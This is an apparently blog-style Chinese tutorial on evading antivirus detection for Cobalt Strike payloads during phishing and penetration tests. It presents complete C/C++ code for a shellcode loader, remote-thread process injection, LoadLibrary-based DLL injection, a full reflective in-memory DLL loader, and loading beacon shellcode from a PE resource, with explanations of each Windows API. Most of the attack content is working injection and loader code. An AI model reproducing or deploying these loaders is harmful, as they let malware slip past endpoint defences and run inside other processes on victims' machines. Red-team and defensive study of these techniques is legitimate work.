在钓鱼或者渗透的过程中,如果我们不会免杀,使用Cobaltstrike生成的exe可能直接就被干掉了,还会触发目标的告警,导致之前的工作前功尽弃,因此在往更高阶的攻防对抗中,免杀能力是必不可少的能力,不是说每个人都必须掌握这种能力,但是如果一个团队中,一个会免杀的人都没有,那就很僵了。
回到正题,本片文章并不会讲到免杀方法可能很多已经都不可用了,之所以写这篇总结文章,是希望大家能对免杀的方法能有一个系统的认知。
远程线程调用 要讲远程线程调用,我们首先看一下本地的调用,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 #include "stdafx.h" #include "Windows.h" int main() { unsigned char shellcode[] ="shellcode"; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; }
上面的代码中用到了几个函数,我大致讲一下:
VirtualAlloc
VirtualAlloc函数通常可以用来分配大块的指定大小的内存,它包含如下参数
1 2 3 4 参数一:要分配的内存区域的地址 参数二:要分配的大小 参数三:要分配的类型 当使用MEM_COMMIT时,代表分配物理内存,并初始化为0, 参数四:内存的初始保护属性 当设置为PAGE_EXECUTE时,代表这个区域的代码可执行,但不可读写。
也就是当我们执行VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE)时,就会给我们分配大小为sizeof shellcode大小的内存块,并且初始化为0,并且该内存具有执行权限。
我做了一个测试,下面执行后我们分配的地址是0x009e0000
我们查看这个地址,可以看到这个地址确实被分配了一大块的内存,并且内容为空。
memcpy
memcpy用来从str2中赋值n个字节数据到str1中。其中str1和str2的类型为指针类型。
1 void *memcpy(void *str1, const void *str2, size_t n)
知道了这个以后,我们就可以知道,当执行memcpy(exec, shellcode, sizeof shellcode) 时,会将长度为sizeof shellcode内容为shellcode的内容复制到exec这个指针所指的位置。
shellcode指针指向的地址为0x005cfadc,地址内容如下:
当执行完memcpy后,我们可以看到,将0x005cfadc内存中的部分数据拷贝到了0x009e0000内存中。
最后我们再看下((void(*)())exec)()大致的意思是将exec这个指针强制转换为函数指针,然后调用这个函数,最终我们的代码得到了执行。
我们再来看一下远程线程注入的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include "Windows.h" int main(int argc, char* argv[]) { unsigned char shellcode[] ="shellcode"; HANDLE processHandle; HANDLE remoteThread; PVOID remoteBuffer; printf("Injecting to PID: %i", atoi(argv[1])); processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(processHandle); return 0; }
在上面的代码中,同样调用了几个windows函数,想要理解上面的代码做了什么,首先需要了解这几个windows 函数的功能。
OpenProcess
OpenProcess用来打开一个已经存在的进程对象,并返回进程的句柄,这个函数的原型如下
1 2 3 4 5 HANDLE OpenProcess( DWORD dwDesiredAccess, //访问权限(标志) BOOL bInheritHandle, // 是否继承句柄 DWORD dwProcessId// 进程标示符 );
dwDesiredAccess代表获取的访问权限,PROCESS_ALL_ACCESS代表获取所有权限。bInheritHandle代表是否继承句柄为boolean类型,dwProcessId代表进程的id。penProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])))的意思就是获取进程id为argv[1]的进程对象的所有的权限,并返回进程的句柄。
VirtualAllocEx
通过这个函数,我们可以在我们获取的进程对象中分配内存。
1 2 3 4 5 6 7 LPVOID VirtualAllocEx( HANDLE hProcess,//我们想要分配内存的进程 LPVOID lpAddress,//受害者进程内存中指定地址的指针 SIZE_T dwSize,//分配的内存区域的大小 DWORD flAllocationType,//指定要分配的内存类型 DWORD flProtect//它指定分配的内存保护,我们将其设置为PAGE_EXECUTE_READWRITE。 );
通过执行VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE),我们可以在processHandle指向的进程中分配一块内存,并且设置内存为可执行权限,当函数执行成功,则返回分配内存的首地址,不成功则返回null。当我们执行完内存分配后remoteBuffer中会有一个地址,但是这个地址并不是我们当前进程的地址,而是notepad的地址。
我们使用hxd来查看这个地址的内容
WriteProcessMemory
WriteProcessMemory
是一个将数据写入指定进程的内存区域的函数。需要注意的是整个内存区域必须是可写的,否则会失败。
1 2 3 4 5 6 7 BOOL WriteProcessMemory( HANDLE hProcess,//我们想要写入数据的进程 LPVOID lpBaseAddress,//我们想要写入数据的地址 LPCVOID lpBuffer,//指向必须写入的数据的指针 SIZE_T nSize,//写入的数据量 SIZE_T *lpNumberOfBytesWritten//指向SIZE_T的指针,它将存储写入该目标的字节数。 );
按照上面的理解,当我们执行完WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL)后,会在processHandle进程中开辟的空间remoteBuffer中写入大小为sizeof shellcode,内容为shellcode的数据。调用后成功将shellcode写入到notepad的内存中
CreateRemoteThread
CreateRemoteThread在另一个进程的虚拟空间中创建一个线程。
1 2 3 4 5 6 7 8 9 HANDLE CreateRemoteThread( HANDLE hProcess,// 目标进程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes,// 安全属性 SIZE_T dwStackSize, // 进程堆栈大小 LPTHREAD_START_ROUTINE lpStartAddress, // 进程函数 LPVOID lpParameter, // 进程参数 DWORD dwCreationFlags, // 创建标志 LPDWORD lpThreadId // 参数返回ID );
当执行下面的操作时,则会执行remoteBuffer指向的内容。
1 CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
最后调用CreateRemoteThread,成功上线,但是这里有一个问题,因为我们现在使用windows创建的notepad为64位,所以我们要编译的这个exe也应该是64位,否则调用CreateRemoteThread会返回0调用失败。
DLL注入 首先给出DLL注入的代码,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int main(int argc, char* argv[]) { HANDLE processHandle; PVOID remoteBuffer; wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll"); printf("Injecting DLL to PID: %i\n", atoi(argv[1])); processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL); PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL); CloseHandle(processHandle); return 0; }
通过查看上面的代码,我们可以看出上面的代码和远程线程调用的代码类似,不同的是将shellcode数组的地址转换为dll的路径。还有就是调用了GetProcAddress这个函数,我们先了解一下这个函数。
GetProcAddress
GetProcAddress是一个计算机函数,功能是检索指定的动态链接库(DLL)中的输出库函数 地址。lpProcName参数能够识别DLL中的函数。
1 2 3 4 FARPROC GetProcAddress( HMODULE hModule, // DLL模块句柄 LPCSTR lpProcName // 函数名 );
然后我们再来理解一下GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);也就是获取LoadLibraryW函数的地址,LoadLibraryW函数的功能可以加载指定路径的DLL文件。之所以没有直接调用LoadLibraryW函数,是因为这个函数不能直接调用,只能查找这个函数名称所在的内存地址进行调用。
所以使用DLL注入的过程大概是这样的
OpenProcess 找到我们想要注入进程的句柄,获取权限
VirtualAllocEx 分配内存,用来存放我们DLL的路径
WriteProcessMemory 将DLL的路径写入分配的内存
GetProcAddress 获取LoadLibraryW这个库函数的地址
CreateRemoteThread 使用LoadLibraryW加载DLL执行
我们调试一下,看和我们分析的结果是否相同,首先在执行完VirtualAllocEx 会分配一块内存
我们使用HXD找到这块内存,看是否分配成功,如下所示:
再继续执行,WriteProcessMemory函数执行后,会再该内存写入我们DLL的地址
最后,当我们调用CreateRemoteThread后,成功上线。
反射DLL注入 上面我们演示的DLL注入技术有一个很明显的缺陷,那就是必须让我们的DLL在目标的硬盘上,直接将我们恶意的DLL放到硬盘中,无疑加大了被查杀的风险,因此下来我们来了解一下不落地执行DLL的方法,那就是反射DLL注入技术,它允许我们从内存中向受害者进程注入DLL。
我们先看一下简单的反射DLL的栗子,首先使用vs创建一个DLL项目,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include "stdafx.h" #include "pch.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBoxA(NULL, "注入成功!", "提示", MB_OK); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
上面的代码内容比较简单,当调用这个DLL时,会弹出一个框提示注入成功,重点在下面的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 #include "pch.h" #include <iostream> #include <Windows.h> typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved); int main() { // get this module's image base address PVOID imageBase = GetModuleHandleA(NULL); // load DLL into memory HANDLE dll = CreateFileA("\\\\VBOXSVR\\Experiments\\MLLoader\\MLLoader\\x64\\Debug\\dll.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); DWORD64 dllSize = GetFileSize(dll, NULL); LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize); DWORD outSize = 0; ReadFile(dll, dllBytes, dllSize, &outSize, NULL); // get pointers to in-memory DLL headers PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew); SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; // allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere //LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // get delta between this module's image base and the DLL that was read into memory DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; // copy over DLL image headers to the newly allocated space for the DLL std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders); // copy over DLL image sections to the newly allocated space for the DLL PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData); section++; } // perform image base relocations IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; DWORD relocationsProcessed = 0; while (relocationsProcessed < relocations.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); for (DWORD i = 0; i < relocationsCount; i++) { relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[i].Type == 0) { continue; } DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; DWORD_PTR addressToPatch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); addressToPatch += deltaImageBase; std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); } } // resolve import address table PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); LPCSTR libraryName = ""; HMODULE library = NULL; while (importDescriptor->Name != NULL) { libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; library = LoadLibraryA(libraryName); if (library) { PIMAGE_THUNK_DATA thunk = NULL; thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk); while (thunk->u1.AddressOfData != NULL) { if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); thunk->u1.Function = functionAddress; } ++thunk; } } importDescriptor++; } // execute the loaded DLL DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint); (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); CloseHandle(dll); HeapFree(GetProcessHeap(), 0, dllBytes); return 0; }
我们先看一下执行的结果把,如下所示:
也就是通过上面的代码,可以加载并运行我们的dll,了解了这个我们再来看一下代码实现的逻辑。
首先,通过下面的代码声明两个结构体,并且声明了一个函数指针
1 2 3 4 5 6 7 8 9 10 11 typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);
下面使用 GetModuleHandleA(NULL)来返回进程的地址空间中的可执行文件的基地址,使用GetFileSize打开我们要加载的DLL文件,再调用在堆上分配大小为dllsize的内存空间,通过ReadFile将DLL文件中的内容写入到刚分配的堆地址空间中。
1 2 3 4 5 6 PVOID imageBase = GetModuleHandleA(NULL); HANDLE dll = CreateFileA("C:\\Users\\admin\\source\\repos\\testDLl\\Debug\\testDLl.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); DWORD64 dllSize = GetFileSize(dll, NULL); LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize); DWORD outSize = 0; ReadFile(dll, dllBytes, dllSize, &outSize, NULL);
我们调试一下这个程序,可以看到当运行完ReadFile后,确实将DLL的内容复制到了dllBytes指向的内存中。
好了,我们再看一下后面的代码,首先获取dosheaders,再通过dllbytes首地址+dosheaders->e_lfanew的值相加,得到pe头的地址。再通过取出OptionalHeader.SizeOfImage属性获取映像加载到内存后的大小 。
1 2 3 PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew); SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
再使用VirtualAlloc分配一块基址为ntHeaders->OptionalHeader.ImageBase,大小为dllImageSize的内存,并且更改内存为可读写执行权限。
1 LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
获取我们预期分配地址和实际分配地址的差值,并且将文件头部复制到分配的内存中。
1 2 3 DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
下面的代码将区块表的内容拷贝到分配的内存中
1 2 3 4 5 6 7 8 PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress); LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData); section++; }
下面的代码用来修改pe的重定位表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; DWORD relocationsProcessed = 0; while (relocationsProcessed < relocations.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); for (DWORD i = 0; i < relocationsCount; i++) { relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[i].Type == 0) { continue; } DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; DWORD_PTR addressToPatch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); addressToPatch += deltaImageBase; std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); } }
被注入的DLL可能还依赖于其他的DLL,因此我们还需要装载这些被依赖的DLL,并修改本DLL的引入表,使这些被引入的函数能正常运行。解析导入表,根据IMAGE_IMPORT_DESCRIPTOR中的NAME成员找到DLL的名称,根据名称装载被依赖的DLL,IMAGE_IMPORT_DESCRIPTOR的FirstThunk指向了DLL引入了哪些函数。通过GetProcAddress可以找到函数的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); LPCSTR libraryName = ""; HMODULE library = NULL; while (importDescriptor->Name != NULL) { libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; library = LoadLibraryA(libraryName); if (library) { PIMAGE_THUNK_DATA thunk = NULL; thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk); while (thunk->u1.AddressOfData != NULL) { if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); thunk->u1.Function = functionAddress; } ++thunk; } } importDescriptor++; }
通过AddressOfEntryPoint找到DLL文件的入口点,最终会执行dllmain函数
1 2 DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint); (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
由于个人windows基础能力有限,关于上面代码的分析参考恶意代码分析之反射型DLL注入 、peloader ,最后我们再理一下这个过程
在堆上分配一块内存,将DLL文件加载到内存
将DLL文件头部放到分配的内存上
将区块表的内容复制到内存
修改重定向表和解析导入表
调用DLL
从PE resource加载shellcode 使用这种方式可以将shellcode放到资源文件中进行加载,具体操作过程如下:
首先生成一个stagerless的bin文件,我这里使用cobaltstrike来进行生成,生成以后将bin添加到资源文件中
选择导入资源,选择我们生成的bin文件,资源类型由我们自己命名
在头文件中可以看到我们加载的资源文件的标识符。
最后使用如下代码加载资源并进行解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include "pch.h" #include <iostream> #include <Windows.h> #include "resource.h" int main() { // IDR_METERPRETER_BIN1 - is the resource ID - which contains ths shellcode // METERPRETER_BIN is the resource type name we chose earlier when embedding the meterpreter.bin HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_BEACON1), L"METERPRETER_BIN"); DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource); HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource); void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcodeResouceData, shellcodeSize); ((void(*)())exec)(); return 0; }
上面的代码首先通过FindResource找到我们想要加载的资源,通过LoadResource加载资源的内容,再通过VirtualAlloc分配一块内存,将资源复制到内存,通过函数指针的方式调用执行shellcode。
也可以将DLL加载到资源中执行,这个操作需要依赖sRDI
首先生成一个dll文件,利用ConvertToShellcode.py将DLL文件转换为bin文件
在vs中将生成的beacon.bin文件放到资源中加载,我测试执行并没有成功,但是生成一个messagebox弹窗的dll转换为bin执行是可以的,原因未知。